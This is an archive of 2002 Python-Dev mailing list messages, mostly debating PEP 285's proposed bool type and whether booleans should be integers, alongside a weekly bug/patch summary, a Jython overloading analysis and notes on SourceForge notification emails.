References: <LNBBLJKPBEHFEDALKOLCGEAPODAA.tim.one@comcast.net>
Message-ID: <3C8B7DBD.3D818044@prescod.net>

Tim Peters wrote:
> 
> Java disallowed mixing ints with booleans specifically to stop the
> 
>     if (x = 1)
> 
> flavor of C bug, but Python stops those via a different gimmick.

I don't know if that's true or not, but it doesn't seem relevant.
Python's decision should be independent of it's C heritage so we need to
look not only at why C-derived languages did what they did but also
other languages. Most languages with no C heritage at all have a
non-numeric boolean type. Here are other languages that (based on some
admittedly cursory research) treat booleans as entirely distinct from
integers:

 * Scheme
 * SML
 * JavaScript
 * Visual Basic
 * Eiffel
 * Smalltalk

I'd be curious to hear a list of high level, GC'd languages in the other
camp. Methinks your Fortran/C bias shows. ;) And it isn't pretty.

> ... There's
> nothing reprehensible about, e.g.,
> 
>     days_in_year = 365 + is_leap(year)
> 
> or
> 
>     print [("off", "on")[switch] for switch in switch_list]

Personally, I find those both as obfuscatory workarounds for the lack of
a terniary. I don't mind spelling out a terniary as an if/else and I
don't mind spelling these out either. Plus the latter can be done more
easily and clearly with a dictionary:

 print [{true:"on", false:"off"}[switch] for switch in switch_list]

> Ban sensible uses, and people will just keep using integers for their
> true/false, on/off, set/clear etc values.

If the comparison operators etc. return booleans then people will use
booleans. I'd be amazed if many people avoided them because they wanted
to do tricks like those above. AFAIK, they don't in any of the other
programming languages.

 Paul Prescod


From skip@mojam.com  Sun Mar 10 16:57:56 2002
From: skip@mojam.com (Skip Montanaro)
Date: Sun, 10 Mar 2002 10:57:56 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>

Bug/Patch Summary
-----------------

279 open / 2276 total bugs
116 open / 1367 total patches

Closed Bugs
-----------

HTTPConnection Host hdr wrong w/ proxy
		http://python.net/crew/mwh/py/bug/405939
Math_test overflowerror on sparc64 linux
		http://python.net/crew/mwh/py/bug/459464
Build Problems on AIX 4.3.3
		http://python.net/crew/mwh/py/bug/477487
File copy fails on True64 AFS file syste
		http://python.net/crew/mwh/py/bug/479469
xmlrpclib can produce ill-formed XML
		http://python.net/crew/mwh/py/bug/486527
asynchat.async_chat missing methods
		http://python.net/crew/mwh/py/bug/491820
ext.doc uses deprecated(?) build proc.
		http://python.net/crew/mwh/py/bug/497695
ugly floats using str() on tuples,lists
		http://python.net/crew/mwh/py/bug/506741
Quote handling in os.system &amp; os.popen
		http://python.net/crew/mwh/py/bug/512433

New Bugs
--------

freeze: global symbols not exported
		http://python.net/crew/mwh/py/bug/436131
distutils does not deduce dependencies
		http://python.net/crew/mwh/py/bug/472881
'lambda' documentation in strange place
		http://python.net/crew/mwh/py/bug/497109
urllib problems
		http://python.net/crew/mwh/py/bug/511073
Float/long comparison anomaly
		http://python.net/crew/mwh/py/bug/513866
pty.fork problem
		http://python.net/crew/mwh/py/bug/514345
bsddb: enable dbopen (file==NULL)
		http://python.net/crew/mwh/py/bug/514433
pydoc fails to generate html doc
		http://python.net/crew/mwh/py/bug/514627
multifile different in 2.2 from 2.1.1
		http://python.net/crew/mwh/py/bug/514676

Closed Patches
--------------

Additional Argument to Python/C Function
		http://python.net/crew/mwh/py/patch/437733
Generic AIX C++ Module Support
		http://python.net/crew/mwh/py/patch/439848
Extend/embed tools for AIX
		http://python.net/crew/mwh/py/patch/450583
sys module feature patch - modify_argv()
		http://python.net/crew/mwh/py/patch/457892
Tkinter and its encodings on Windows
		http://python.net/crew/mwh/py/patch/474505
patches errno and stat to cope on plan9
		http://python.net/crew/mwh/py/patch/494045
removes 64-bit ?: to cope on plan9
		http://python.net/crew/mwh/py/patch/494047
Minor typo in test_generators.py
		http://python.net/crew/mwh/py/patch/499062
Update ext build documentation
		http://python.net/crew/mwh/py/patch/500136
add plan9 threads include to thread.c
		http://python.net/crew/mwh/py/patch/504224
webchecker protocol bug
		http://python.net/crew/mwh/py/patch/512799

New Patches
-----------

Access to readline history elements
		http://python.net/crew/mwh/py/patch/494066
bug in pydoc on python 2.2 release
		http://python.net/crew/mwh/py/patch/514628
On the update_slot() behavior
		http://python.net/crew/mwh/py/patch/514662


From arigo@ulb.ac.be  Sun Mar 10 17:00:05 2002
From: arigo@ulb.ac.be (Armin Rigo)
Date: Sun, 10 Mar 2002 18:00:05 +0100
Subject: [Python-Dev] Re: [Psyco-devel] Re: [Zope-Coders] Psyco release 0.4.0
References: <Pine.OSF.3.96.1020301171826.798567B-100000@aster1.ulb.ac.be> <039101c1c142$090c06f0$02010a0a@suxlap> <1015015320.1994.1.camel@shiva>
Message-ID: <007101c1c855$09826380$a7cc043e@oemcomputer>

Hello Petru,

----- Original Message -----
> > Jup, Zope is about 3.5 times slower *with* psyco.
> > Any explanations for this worse behaviour ?
>
> Just a wild, wild guess: this could be related to Psyco not doing the
> regular interval polling, so PyThreadState_Swap() doesn't get called as
> often as it should, ZServer piles up requests, the worker threads get
> starved, and so on.

Morten's results give a more interesting answer. He went from a serious
slowdown to a 2x speed-up by replacing psyco.jit() with psyco.bind() on a
pair of classes. So the problem probably stands in the just-in-time
rebinder, psyco.jit(). Not only does it add a constant profiling-like
overhead (significantly more important in Python 2.1 than 2.2, by the way),
but I believe that there are quite a few problems with its current approach.

Would someone please make another check on Zope+Psyco without using
psyco.jit() ? A few carefully selected psyco.bind() could give quite more
positive speed-ups. I don't know exactly *how* to select what to bind,
however. Maybe testing various combinations and relating them with data from
profiling could give a hint at more general usage patterns that could be
eventually formalized in a more involved implementation of psyco.jit().


Thanks,

Armin



From paul@pfdubois.com  Sun Mar 10 18:16:56 2002
From: paul@pfdubois.com (Paul F Dubois)
Date: Sun, 10 Mar 2002 10:16:56 -0800
Subject: [Python-Dev] bools aren't ints in  Fortran
In-Reply-To: <E16k6hB-0005V5-00@mail.python.org>
Message-ID: <000001c1c85f$c343e6e0$0e01a8c0@NICKLEBY>

Paul Prescod wrote to Tim:

> Here are other languages that (based on some admittedly cursory
research) treat booleans > as entirely distinct from
> integers:

> * Scheme
> * SML
> * JavaScript
> * Visual Basic
> * Eiffel
> * Smalltalk

> I'd be curious to hear a list of high level, GC'd languages in the
other camp. Methinks > your Fortran/C bias shows. ;) And it isn't
pretty."

Add to your list, "Fortran", which has type "logical". This makes the
bias comment self-canceling, but reinforces the argument against bool
being a special case of int.

I think bools as ints started as a "close to the hardware" motivation,
and doesn't have much of a place in modern programming. All the
arguments for it seem to be claims for ease of expression but against it
is ease of correctness. I think the latter is necessary and the former a
nicety.

BTW, the Fortran standard does not specify a representation for logical,
and there was even a period where mixing libraries compiled with
different compilers on the the Crays  could get errors because the
representations differed. One compiler had chosen to use a hardware
feature that made it quick to test a sign bit. This points out another
fallacy with making bool a subclass of int -- it binds the
implementation too much to one view. 

True + True is neither True nor False. Hmmmmmm....





From just@letterror.com  Sun Mar 10 19:58:09 2002
From: just@letterror.com (Just van Rossum)
Date: Sun, 10 Mar 2002 20:58:09 +0100
Subject: [Python-Dev] Bug changes emails: SF problem?
Message-ID: <20020310205811-r01010800-aa82a2f1-0920-010c@10.0.0.23>

I don't always seem to get an email when a bug that I submitted was modified.
Has anyone else noticed this?

Just


From tim.one@comcast.net  Sun Mar 10 20:05:23 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 15:05:23 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <3C8B7DBD.3D818044@prescod.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEDCODAA.tim.one@comcast.net>

[Tim]
> Java disallowed mixing ints with booleans specifically to stop the
>
>     if (x = 1)
>
> flavor of C bug, but Python stops those via a different gimmick.

[Paul Prescod]
> I don't know if that's true or not, but it doesn't seem relevant.

Then you should have the grace to presume I'm not lying <wink>.  It's
relevant only if *why* languages do what they do is interesting to you.  It
is to me.

> Python's decision should be independent of it's C heritage so we need
> to look not only at why C-derived languages did what they did but also
> other languages.  Most languages with no C heritage at all have a
> non-numeric boolean type.

I wouldn't presume to claim what "most languages" do, as I'm only familiar
with a relative handful.

> Here are other languages that (based on some admittedly cursory
> research) treat booleans as entirely distinct from integers:

I don't grasp why this should be interesting, in the absence of their design
rationales.

>  * Scheme
>  * SML
>  * JavaScript
>  * Visual Basic
>  * Eiffel
>  * Smalltalk
>
> I'd be curious to hear a list of high level, GC'd languages in the other
> camp.

I'm only interested in what's most useful.  If I weren't, I'd sure wonder
what the heck garbage collection has to do with this <wink>.

> Methinks your Fortran/C bias shows. ;) And it isn't pretty.

You're arguing for the Fortran approach, and I don't have a C bias:  I first
picked up C very late in my programming life.  The languages I cut my teeth
on do include Fortran Classic, which had a non-numeric "logical" type with
manifest constants .TRUE. and .FALSE.; LISP 1.5, where the empty list "was
true" and all other values "were false"; SNOBOL4, which had no true/false
concept at all ("success" and "failure" drove control flow there); Pascal,
which is "like Fortran" in this respect; and APL, which indeed thrived on
doing arithmetic with 1/0 true/false values.  The only one that was "really
like Python" here was APL.

I liked the APL approach best, simply because it was most useful.  Perhaps
that's because my non-programming background is in discrete mathematics,
where identifying 0/1 with false/true is of great practical value.  For
example, see "Concrete Mathematics" (Knuth, Graham and Patashnik), where
treating a true/false result as 1/0 is so common it's indicated merely by
surrounding a predicate expression with plain square brackets.  This was a
notational advance over the non-programming state of the art (most texts
before CM, including Knuth's TAoCP, use a clumsy Kronecker delta notation).
The programming state of the art would be advanced a little by Guido's PEP,
in my view of the world.

>>     days_in_year = 365 + is_leap(year)
>>
>> or
>>
>>     print [("off", "on")[switch] for switch in switch_list]

> Personally, I find those both as obfuscatory workarounds for the lack of
> a terniary.

Ahem -- I thought we were disparaging *my* "C bias" here <wink>.  How many
of the languages in your list above have a ternary operator?  Languages that
don't distiguish expressions from statements (like your Scheme example) use
their all-purpose if/else constructs for this, but C introduced "the ternary
wart" for languages that do distinguish.  It got into that mess by departing
from Algol, which also distinguished, but had both statement and expression
forms of if/else.  IMO, C and Pascal both lost by departing from Algol here.

> I don't mind spelling out a terniary as an if/else and I don't mind
> spelling these out either.

Which then looks to me like a clumsy workaround for the lack of treating
false as 0 and true as 1.  We're never going to agree on this, so enough.



From pedroni@inf.ethz.ch  Sun Mar 10 20:06:20 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sun, 10 Mar 2002 21:06:20 +0100
Subject: [Python-Dev] Jython and bool
Message-ID: <022c01c1c86f$0bed2320$6d94fea9@newmexico>

Maybe this is insightful, namely how Jython
now deals with Java methods with boolean in
their signature and overloading, and the possible
scenarios in case the PEP is approved.

Let's consider the following Java class:

public class Ex {

  public void mint(int v) {}

  public void mib(boolean b) {}
  public void mib(int v) {}

  public mbool(boolean b) {}

  boolean mtrue() { return true; }
  boolean mfalse() { return false; }

  void pass(Object o) {}
  void passBool(Boolean bo) {}

}

let ex=Ex() be an instance of Ex.

*** NOW
ex.mint(0) and ex.mint(1) do the obvious thing

ex.mib(0),ex.mib(1) call  ex.mib(int v)

ex.mbool(0) and ex.mbool(1) invoke ex.mbool with false and true
ex.mbool(non-integer-non-java.lang.Boolean) fails

ex.mtrue() returns 1
ex.mfalse() return 0

which means that ex.mib(ex.mtrue()) calls ex.mib(int v).
[ to call ex.mib(boolean b) one should use ex.mib(java.lang.Boolean(value)) ]

ex.pass(0) and ex.pass(1) call ex.pass with java.lang.Integer(0) and
java.lang.Integer(1)
ex.passBool(0) and ex.passBool(1) call ex.pass with
java.lang.Boolean.FALSE and java.lang.Boolean.TRUE


*** with True and False, bool is subclass of int
A) treat True as 1, False as 0 and leave everything as above (no pain,no gain)
   that means for dispatching java methods int and bool are the same,
   possibliy ex.mtrue() returns True and ex.mfalse() returns False
B)
  ex.pass(0) and ex.pass(1) call ex.pass with
  java.lang.Integer(0) and java.lang.Integer(1).

  ex.passBool(0) and ex.passBool(1) call ex.pass with
   java.lang.Boolean.FALSE and java.lang.Boolean.TRUE

  ex.pass(False) and ex.pass(True) call ex.pass with
  java.lang.Boolean.FALSE and java.lang.Boolean.TRUE
  (plus warning in the transition phase), same for ex.passBool

  ex.mtrue()/ex.mfalse() return True/False

  ex.mbool(non-integer-non-bool-non-java.lang.Boolean) fails
  ex.mbool(0) and ex.mbool(1) invoke ex.mbool with false and true
  ex.mbool(False) and ex.mbool(True) invoke ex.mbool with false and true

  ex.mib(0),ex.mib(1) call  ex.mib(int v)
  ex.mib(False) and ex.mib(True) call ex.mib(boolean b)
  issuing a warning during a transition phase [involved to issue!]
  [ex.mib with a java.lang.Boolean still calls ex.mib(boolean b) so no problem
there]

  ex.mint(0) and ex.mint(1) do the obvious thing
  ex.mint(False) and ex.mint(True)
  either fail [easy to implement] or call ex.mint with 0/1 [involved!]  (?)

*** with True and False, bool disujunct from int
  ex.pass(0) and ex.pass(1) call ex.pass with java.lang.Integer(0) and
java.lang.Integer(1)

  ex.passBool(0) and ex.passBool(1) maybe should *fail* after long transition ?

  ex.pass(False) and ex.pass(True) call ex.pass with
  java.lang.Boolean.FALSE and java.lang.Boolean.True
  (plus warning in the transition phase), same for ex.passBool

  ex.mtrue()/ex.mfalse() return True/False

  ex.mbool(non-bool-non-java.lang.Boolean) and
  ex.mbool(0) and ex.mbool(1) should *fail* after long transition ?

  ex.mbool(False) and ex.mbool(True) invoke ex.mbool with false and true

  ex.mib(0),ex.mib(1) call  ex.mib(int v)
  ex.mib(False) and ex.mib(True) call ex.mib(boolean b)
  issuing a warning during a transition phase [involved to issue!]
  [ex.mib with a java.lang.Boolean still calls ex.mib(boolean b) so no problem
there]

  ex.mint(0) and ex.mint(1) do the obvious thing
  ex.mint(False) and ex.mint(True) should fail after transition and
  maybe call ex.mint with 0/1 with warning during transition phase [involved!]
(?)

"maybe should *fail* after long transition ?" questions:

Very likely not, user will be very unhappy to
have to change all their

jframe.setVisible(1)
or equivalent jframe.visible = 1

So for Jython bool solves a very minor wart
with a more or less affordable transition cost and
increasing amounts of purity only make us
guilty not to able to do something with them,
for *very* practical reasons <wink>.

regards.














From pedroni@inf.ethz.ch  Sun Mar 10 20:16:30 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sun, 10 Mar 2002 21:16:30 +0100
Subject: [Python-Dev] Boolean transition
References: <LNBBLJKPBEHFEDALKOLCKEDCODAA.tim.one@comcast.net>
Message-ID: <023e01c1c870$77409ca0$6d94fea9@newmexico>

[Tim]
> I liked the APL approach best, simply because it was most useful.  Perhaps
> that's because my non-programming background is in discrete mathematics,
> where identifying 0/1 with false/true is of great practical value.  For
> example, see "Concrete Mathematics" (Knuth, Graham and Patashnik), where
> treating a true/false result as 1/0 is so common it's indicated merely by
> surrounding a predicate expression with plain square brackets.  This was a
> notational advance over the non-programming state of the art (most texts
> before CM, including Knuth's TAoCP, use a clumsy Kronecker delta notation).
> The programming state of the art would be advanced a little by Guido's PEP,
> in my view of the world.
> 

I agree with Tim, additivity for booleans means that you can
use predicates also as the indicator function of their corresponding
sets:

def count_visible(win_list):
  c = 0
  for win in win_list:
     c+=win.visible
  return c

Personally I find that very readable.

I can find also a senbible meaning for other mixed int/boolean
arithmetic operations. 

I can find also meaningless combinations but concretely
what kind of errors would the separation avoid?

regards.
 



From brian@sweetapp.com  Sun Mar 10 20:46:09 2002
From: brian@sweetapp.com (Brian Quinlan)
Date: Sun, 10 Mar 2002 12:46:09 -0800
Subject: [Python-Dev] Boolean transition
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEDCODAA.tim.one@comcast.net>
Message-ID: <00aa01c1c874$9bb2c370$445d4540@Dell2>

[Bunch of arguments combined - and then snipped :-)]

For people who want to do integer arithmetic using Booleans, would
calling the int() built-in be too much of a burden?

Samuele's example would be written as:

def count_visible(win_list):
  c = 0
  for win in win_list:
     c+= int(win.visible)
  return c

That actually seems clearer to me and it fits with Pythons strongly
typed nature. 

Of course there is still the issue of staging any change like this into
the language.

Cheers,
Brian



From tim.one@comcast.net  Sun Mar 10 20:43:33 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 15:43:33 -0500
Subject: [Python-Dev] bools aren't ints in  Fortran
In-Reply-To: <000001c1c85f$c343e6e0$0e01a8c0@NICKLEBY>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEDFODAA.tim.one@comcast.net>

[Paul F Dubois]
> ...
> BTW, the Fortran standard does not specify a representation for logical,

It does have to consume "one numeric storage unit", though (at least in
F77 -- maybe F90 dropped that?), making it close to impossible to arrange
for logical array storage as bit vectors.

> and there was even a period where mixing libraries compiled with
> different compilers on the the Crays could get errors because the
> representations differed. One compiler had chosen to use a hardware
> feature that made it quick to test a sign bit.

The original CFT used .TRUE. same-as -1 for this reason.  People playing
games with EQUIVALENCE statements kept whining about that, when they came
from a platform where .TRUE. same-as 1 was the norm.  Last I paid attention,
SGI still refused to guarantee what the represenation of .TRUE. was, but did
guarantee that-- if you played EQUIVALENCE games mixing types --only a 0
value would be treated as .FALSE. when viewed again as a logical.

Later, interoperabilibty with C also suffered.  Minor pressure came from
people coming from array languages (like APL and MATLAB), where true same-as
1 is the norm.

If Python did change to "true booleans", would you change numarray to return
them for arrays of comparison results?  (array1 < array2, greater(array1,
array2), etc)?  If so, do you predict existing numarray users wouldn't
notice?

> This points out another fallacy with making bool a subclass of int --
> it binds the implementation too much to one view.

"Peak speed" is a Fortran goal, not a Python goal.  Refusing to commit to a
specific representation doesn't do anything for Python except open it to the
porting and interoperability headaches Fortran programmers enjoy.  It could
very well be that checking the sign bit is a little cheaper on some boxes,
but Python doesn't (and shouldn't) care about that; Fortran should (and
does).

> True + True is neither True nor False. Hmmmmmm....

    bool_1 + bool_2 + ... + bool_n

counts the number of true terms.  If you have a matrix of boolean results,
doing a sum reduction across all dimensions yeilds the number of true
entries.  Etc.  Stuff like that is darned useful, IMO.



From tim.one@comcast.net  Sun Mar 10 20:54:47 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 15:54:47 -0500
Subject: [Python-Dev] Bug changes emails: SF problem?
In-Reply-To: <20020310205811-r01010800-aa82a2f1-0920-010c@10.0.0.23>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEDGODAA.tim.one@comcast.net>

[Just van Rossum]
> I don't always seem to get an email when a bug that I submitted
> was modified.  Has anyone else noticed this?

Hard to say.  I expect many Python-Dev'vers subscribe to a mailing list that
gets an email for every change to every bug.  For example,

"""
...

>Comment By: Just van Rossum (jvr)
Date: 2002-03-10 21:42

Message:
Logged In: YES
user_id=92689

No:
1) I read the error string as "the parent of 'name' is not
in sys.modules", which is indeed what's intended.
2) parentname is a PyObject* and name is a char*
(I assume it is correct to close this bug)
"""

recently showed up in my inbox.  But I can't deduce anything from that; I
believe the catch-all email address isn't dropping anything.



From just@letterror.com  Sun Mar 10 21:19:43 2002
From: just@letterror.com (Just van Rossum)
Date: Sun, 10 Mar 2002 22:19:43 +0100
Subject: [Python-Dev] Bug changes emails: SF problem?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEDGODAA.tim.one@comcast.net>
Message-ID: <20020310221946-r01010800-6933e5fe-0920-010c@10.0.0.23>

Tim Peters wrote:

> Hard to say.  I expect many Python-Dev'vers subscribe to a mailing list that
> gets an email for every change to every bug.  For example,
[ ... ]
> recently showed up in my inbox. 

Yeah, I got that one, too...

> But I can't deduce anything from that; I
> believe the catch-all email address isn't dropping anything.

Hm, I just went through the archives of the python-bugs-list (I'm not on that
list), and I see four messages for #524804, but there should've been six. I see
one for 515830, but there were two changes today. Not sure if I missed the same
ones as the list or not.

Just


From pedroni@inf.ethz.ch  Sun Mar 10 21:11:53 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sun, 10 Mar 2002 22:11:53 +0100
Subject: [Python-Dev] Boolean transition
References: <00aa01c1c874$9bb2c370$445d4540@Dell2>
Message-ID: <02ac01c1c878$342d4fa0$6d94fea9@newmexico>

[Brian Quinlan]
> [Bunch of arguments combined - and then snipped :-)]
> 
> For people who want to do integer arithmetic using Booleans, would
> calling the int() built-in be too much of a burden?
> 
> Samuele's example would be written as:
> 
> def count_visible(win_list):
>   c = 0
>   for win in win_list:
>      c+= int(win.visible)
>   return c
> 
> That actually seems clearer to me and it fits with Pythons strongly
> typed nature. 
> 
 
>From just the snippet I would wonder whether win.visible is one
of the strings '0' or '1' or a float or a boolean.

If *I* was about to separate bool from int
(but for that I would need to be conviced about the errors
I'm going to avoid with that),
both int(False) and int(True) would fail - I mean - their result
is as much intuitive as summing booleans directly <wink>.

E.g. in VisualWorks (a Smalltalk)

"true asInteger" happily fails.

Also in Scheme and Common Lisp there is no
truthvalue -> 0/1 conversion as a to-integer conversion.

So I would introduce a specific built-in
for that conversion (maybe chi() <wink>).

I'm quite serious, int is too much polymorphic
if your point is not to mix things with booleans.

regards.






From martin@v.loewis.de  Sun Mar 10 20:55:10 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 10 Mar 2002 21:55:10 +0100
Subject: [Python-Dev] Bug changes emails: SF problem?
In-Reply-To: <20020310205811-r01010800-aa82a2f1-0920-010c@10.0.0.23>
References: <20020310205811-r01010800-aa82a2f1-0920-010c@10.0.0.23>
Message-ID: <m31yesqh1t.fsf@mira.informatik.hu-berlin.de>

Just van Rossum <just@letterror.com> writes:

> I don't always seem to get an email when a bug that I submitted was modified.
> Has anyone else noticed this?

If you are not assigned to the bug, not the submitter, and have never
commented on the bug, you will get no email if you change the status
of the bug.

Furthermore, if you merely attach a file, I believe no notification
will be sent at all.

Regards,
Martin


From martin@v.loewis.de  Sun Mar 10 21:32:23 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 10 Mar 2002 22:32:23 +0100
Subject: [Python-Dev] Bug changes emails: SF problem?
In-Reply-To: <20020310221946-r01010800-6933e5fe-0920-010c@10.0.0.23>
References: <20020310221946-r01010800-6933e5fe-0920-010c@10.0.0.23>
Message-ID: <m3d6ycp0rc.fsf@mira.informatik.hu-berlin.de>

Just van Rossum <just@letterror.com> writes:

> Hm, I just went through the archives of the python-bugs-list (I'm
> not on that list), and I see four messages for #524804, but there
> should've been six. I see one for 515830, but there were two changes
> today. Not sure if I missed the same ones as the list or not.

Just wait a few more days; sometimes, it takes a long time for SF to
deliver the mail.

Regards,
Martin



From paul@prescod.net  Sun Mar 10 21:29:38 2002
From: paul@prescod.net (Paul Prescod)
Date: Sun, 10 Mar 2002 13:29:38 -0800
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3C8BD042.CB03BDAB@prescod.net>

"Martin v. Loewis" wrote:
> 
>...
> 
> > The current subtyping strategy provides a better hook for deprecation
> > warnings. My only concern is that we decide and document that booleans
> > will one day be as completely unrelated to integers as exceptions are to
> > strings.
> 
> I'm not sure that this is desirable. By the same rationale, you should
> argue that boolean operations on integers are a bad thing. This would
> be not Pythonic.

Let's take this logic a little further. If you're arguing that booleans
should be subtypes of integers because integers can be used in a boolean
context then I guess booleans should ALSO be subtypes of strings and
lists because strings and lists can also be used in a boolean fashion.

Using an integer as a boolean is common. I do it almost every day I
program in languages with both types. Using a boolean as an integer is
not common in my programming (though Tim's may be different). Where it
crops up in my programming it is probably an error where I passed the
parameters to the function in the wrong order.

 Paul Prescod


From ping@lfw.org  Sun Mar 10 21:48:47 2002
From: ping@lfw.org (Ka-Ping Yee)
Date: Sun, 10 Mar 2002 15:48:47 -0600 (CST)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <3C890B2F.1486C05A@activestate.com>
Message-ID: <Pine.LNX.4.33.0203101512350.12420-100000@server1.lfw.org>

I've been mulling over the whole Boolean issue and up till now it's
been bothering me vaguely but i haven't been able to put my finger
on it.  I think i have an idea now what's bugging me, though.

I've generated an outline summary at http://lfw.org/python/bool
if you'd like to see an overview of this thread.

In my mind, the current thinking is something like this:

    There are many false values (0, None, [], (), '', {}, instances
    that have len() = 0, and so on).  Other values are true.

    The general convention is that each type has one false value,
    and that it corresponds to a zero magnitude or an empty container.
    For types where + makes sense, usually x + <the false value> = x.

    It is often the case that integers are convenient to work with,
    so in the absence of any reason to choose any other particular
    type, people typically use 0 and 1.

This is not so bad, and not difficult to explain.

But in the new scheme, there is a "blessed" Boolean type.  Does this
make the other kinds of true and false less legitimate?  If so, then
what are we to do with them?  If not, then when is it more correct
to use Boolean values?

I guess this is really an issue of where we are going with this.
I know that right now the proposal is designed for compatibility,
but i'd like to know what eventual goal state Guido has in mind.
(Let's call this lim_{n -> inf} Python n, or Python inf for short.)

Q1. In Python inf, will "if" and "while" require a Boolean expression?

Q2. In Python inf, will "and", "or", "not" require Boolean operands?

Q3. In Python inf, will "True + 2" raise a TypeError?

If the answer to Q1 is "yes", then people won't be able to write

    if list:

any more.  Instead people will write one of these:

    if list != []:
    if len(list) != 0:
    if len(list) > 0:

which is troublesome (a) because there's more to type and read;
(b) because there are now many ways to write the same thing,
instead of one simple way; and (c) because it makes the code
less generic (the first option will fail if i replace "list"
with some container that i want to test for emptiness).

If the answer to Q1 is "no", then i don't see when people will
want to use Boolean values at all.  Booleans and integers will
remain interchangeable in many contexts, which leads to ambiguity.
When we read code, we won't be sure whether Booleans are involved
or not, and when we edit it we want to be consistent, but won't
know whether to write in the Boolean style or the 0/1 style.

Will people waste time on silly arguments about "thou shalt change
thy code to the One True/False Style, because it is the Proper Way"
vs. "but 0/1 works and it's less typing and i don't want to bother"?
Will programmers expend a bunch of effort editing their code to
work the new way -- effort that could have been better spent fixing
and improving their programs?  (Instantiate the preceding question
with programmers := Python-developers and programs := Python
standard library.)


-- ?!ng



From DavidA@ActiveState.com  Sun Mar 10 22:46:11 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Sun, 10 Mar 2002 14:46:11 -0800
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <Pine.LNX.4.33.0203101512350.12420-100000@server1.lfw.org>
Message-ID: <3C8BE233.1391BD6E@ActiveState.com>

Ka-Ping Yee wrote:

> Will people waste time on silly arguments about "thou shalt change
> thy code to the One True/False Style, because it is the Proper Way"
> vs. "but 0/1 works and it's less typing and i don't want to bother"?
> Will programmers expend a bunch of effort editing their code to
> work the new way -- effort that could have been better spent fixing
> and improving their programs?  

Good point.  This reminds me of the unofficial deprecation of string
exceptions.  I still find using string exceptions is darn convenient. 
Just adding 'import exceptions'	is enough of a step to stop me from
doing it 'right' until the program has scaled up enough (usually the
same point where top-level functions become methods on a new class =).

--david


From martin@v.loewis.de  Sun Mar 10 20:58:28 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 10 Mar 2002 21:58:28 +0100
Subject: [Python-Dev] Boolean transition
In-Reply-To: <00aa01c1c874$9bb2c370$445d4540@Dell2>
References: <00aa01c1c874$9bb2c370$445d4540@Dell2>
Message-ID: <m3wuwkp2bv.fsf@mira.informatik.hu-berlin.de>

"Brian Quinlan" <brian@sweetapp.com> writes:

> For people who want to do integer arithmetic using Booleans, would
> calling the int() built-in be too much of a burden?

Yes. I don't care whether it is good to do arithmetic on booleans or
not. I do care about backwards compatibility, and I just see no way
to remove arithmetic from boolean values in Python before 2025.

Regards,
Martin



From barry@zope.com  Sun Mar 10 22:55:40 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Sun, 10 Mar 2002 17:55:40 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <Pine.LNX.4.33.0203101512350.12420-100000@server1.lfw.org>
 <3C8BE233.1391BD6E@ActiveState.com>
Message-ID: <15499.58476.869676.838472@anthem.wooz.org>

>>>>> "DA" == David Ascher <DavidA@ActiveState.com> writes:

    DA> Good point.  This reminds me of the unofficial deprecation of
    DA> string exceptions.  I still find using string exceptions is
    DA> darn convenient. Just adding 'import exceptions' is enough of
    DA> a step to stop me from doing it 'right' until the program has
    DA> scaled up enough (usually the same point where top-level
    DA> functions become methods on a new class =).

Why do you have to import exceptions?  All the exception classes in
exceptions are already builtins.  Is

    class MyEXC(Exception): pass

really any more typing than

    MyEXC = 'My Exception'

(expecially given that the base class specification isn't even
necessary)?

-Barry


From fredrik@pythonware.com  Sun Mar 10 22:57:02 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Sun, 10 Mar 2002 23:57:02 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <Pine.LNX.4.33.0203101512350.12420-100000@server1.lfw.org> <3C8BE233.1391BD6E@ActiveState.com>
Message-ID: <005801c1c886$e6ac29e0$ced241d5@hagrid>

david wrote:
> Good point.  This reminds me of the unofficial deprecation of string
> exceptions.  I still find using string exceptions is darn convenient. 
> Just adding 'import exceptions' is enough of a step to stop me from
> doing it 'right'

umm.  why would you ever need to do that?

>>> dir(__builtins__)
['ArithmeticError', ...]
>>> import exceptions
>>> dir(exceptions)
['ArithmeticError', ...]
>>> for name in dir(exceptions):
...     if getattr(__builtins__, name, None) == None:
...             print name, "is missing"
...
>>>

and if you don't want to, you don't have to inherit from the
Exception class either.  the difference between

    MyException = "MyException"

and

    class MyException: pass

isn't really that big...

</F>



From guido@python.org  Sun Mar 10 23:00:43 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 10 Mar 2002 18:00:43 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Your message of "Sun, 10 Mar 2002 10:57:56 CST."
 <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
Message-ID: <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>

Skip,

Some of the "new" bugs aren't new.  In fact, most aren't.  Sample (but
not the only one):

Float/long comparison anomaly
		http://python.net/crew/mwh/py/bug/513866

was submitted on 2002-02-06.

In fact, it looks like these are a random selection of bugs and
patches. :-(

